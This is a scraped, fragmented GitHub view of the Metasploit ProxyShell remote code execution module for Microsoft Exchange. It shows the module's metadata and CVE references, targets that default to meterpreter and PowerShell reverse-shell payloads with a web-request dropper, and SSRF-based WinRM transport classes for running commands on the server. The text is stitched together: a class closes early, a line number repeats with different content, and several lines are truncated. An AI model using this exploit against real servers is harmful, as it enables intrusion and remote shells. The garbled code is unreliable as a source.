

Files

1416b57







Go to file

- .github
- app
- config
- data
- db
- docker
- docs
- documentation
- external
- kubernetes
- lib
- modules
 - auxiliary
 - encoders
 - evasion
 - exploits
 - aix
 - android
 - apple_ios
 - bsd
 - bsdi
 - dialup
 - firefox
 - freebsd
 - hpux
 - irix
 - linux
 - mainframe
 - multi
 - netware
 - openbsd
 - osx
 - qnx
 - solaris
 - unix
 - windows

History

Code Blame 673 lines (587 loc) · 25.5 KB Raw Copy Download

```
1  ##
2  # This module requires Metasploit: https://metasploit.com/download
3  # Current source: https://github.com/rapid7/metasploit-framework
4  ##
5
6  require 'winrm'
7
8  class MetasploitModule < Msf::Exploit::Remote
9    Rank = ExcellentRanking
10
11    prepend Msf::Exploit::Remote::AutoCheck
12    include Msf::Exploit::CmdStager
13    include Msf::Exploit::FileDropper
14    include Msf::Exploit::Powershell
15    include Msf::Exploit::Remote::HttpClient
16    include Msf::Exploit::EXE
17
18    def initialize(info = {})
19      super(
20        update_info(
21          info,
22          'Name' => 'Microsoft Exchange ProxyShell RCE',
23          'Description' => %q{
24            This module exploits a vulnerability on Microsoft Exchange Server that
25            allows an attacker to bypass the authentication (CVE-2021-31207), impersonate
26            arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473)
27            the RCE (Remote Code Execution).
28
29            By taking advantage of this vulnerability, you can execute arbitrary
30            commands on the remote Microsoft Exchange Server.
31
32            This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
33            Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
34            Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
35
36            All components are vulnerable by default.
37          },
38          'Author' => [
39            'Orange Tsai', # Discovery
40            'Jang (@testanull)', # Vulnerability analysis
41            'PeterJson', # Vulnerability analysis
42            'brandonshi123', # Vulnerability analysis
43            'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
44            'Donny Maasland', # Procedure optimizations (email enumeration)
45            'Rich Warren', # Procedure optimizations (email enumeration)
46            'Spencer McIntyre', # Metasploit module
47            'wvu' # Testing
48          ],
49          'References' => [
50            [ 'CVE', '2021-34473' ],
51            [ 'CVE', '2021-34523' ],
52            [ 'CVE', '2021-31207' ],
53            [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exp' ],
54            [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is' ],
55            [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
56            [ 'URL', 'https://github.com/donnyland/proxyshell_poc' ]
57          ]
58        )
59      )
60    end
61  end
```

- >  antivirus
- >  arkeia
- >  backdoor
- >  backupexec
- >  brightstor
- >  browser

```
56     [ 'URL' => 'https://github.com/umaasiana/proxyshell-poc' ],
57   ],
58   'DisclosureDate' => '2021-04-06', # pwn2own 2021
59   'License' => MSF_LICENSE,
60   'DefaultOptions' => {
61     'RPORT' => 443,
62     'SSL' => true
63   },
64   'Platform' => ['windows'],
65   'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
66   'Privileged' => true,
67   'Targets' => [
68     [
69       'Windows Powershell',
70       {
71         'Platform' => 'windows',
72         'Arch' => [ARCH_X64, ARCH_X86],
73         'Type' => :windows_powershell,
74         'DefaultOptions' => {
75           'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
76         }
77       }
78     ],
79     [
80       'Windows Dropper',
81       {
82         'Platform' => 'windows',
83         'Arch' => [ARCH_X64, ARCH_X86],
84         'Type' => :windows_dropper,
85         'CmdStagerFlavor' => %i[psh_invokewebrequest],
86         'DefaultOptions' => {
87           'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
88           'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
89         }
90       }
91     ],
92     [
93       'Windows Command',
94       {
95         'Platform' => 'windows',
96         'Arch' => [ARCH_CMD],
97         'Type' => :windows_command,
98         'DefaultOptions' => {
99           'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
100       }
101     ]
102   ],
103 ],
104 'DefaultTarget' => 0,
105 'Notes' => {
106   'Stability' => [CRASH_SAFE],
107   'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
108   'AKA' => ['ProxyShell'],
109   'Reliability' => [REPEATABLE_SESSION]
110 }
111 )
112 )
113
114 register_options([
115   OptString.new('EMAIL', [false, 'A known email address for this organization']),
116   OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path',
117 ])
```



```
600     end
601
602   class SSRFWinRMConnection < WinRM::Connection
603   class MessageFactory < WinRM::PSRP::MessageFactory
604   def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
605     WinRM::PSRP::Message.new(
606       runspace_pool_id,
607       WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
608       XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args],
609       pipeline_id
610     )
611   end
612 end
613
614 # we have to define this class so we can define our own transport factory that provides
615 # vulnerability
616 class TransportFactory < WinRM::HTTP::TransportFactory
617   class HttpSsrif < WinRM::HTTP::HttpTransport
618     # rubocop:disable Lint/
619     def initialize(endpoint, options)
620       @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
621       @ssrf_proc = options[:ssrf_proc]
622     end
623
624     def send_request(message)
625       resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml; charset=utf-8' }, message.body)
626       WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
627     end
628   end
629
630   def create_transport(connection_opts)
631     raise NotImplementedError unless connection_opts[:transport] == :ssrf
632
633     super
634   end
635
636   private
637
638   def init_ssrf_transport(opts)
639     HttpSsrif.new(opts[:endpoint], opts)
640   end
641 end
642
643 module PowerShell
644   def send_command(command, _arguments)
645     command_id = SecureRandom.uuid.to_s.upcase
646     message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
647     fragmenter.fragment(message) do |fragment|
648       command_args = [connection_opts, shell_id, command_id, fragment]
649       if fragment.start_fragment
650         resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).send_request)
651         command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
652       else
```

```
653         transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
654     end
655 end
656
657     command_id
658 end
659 end
660
661  def initialize(connection_opts)
662     # these have to be set to truthy values to pass the option validation, but they're
663     connection_opts.merge!({ user: :ssrf, password: :ssrf })
664     super(connection_opts)
665 end
666
667  def transport
668     @transport ||= begin
669         transport_factory = TransportFactory.new
670         transport_factory.create_transport(@connection_opts)
671     end
672 end
673 end
```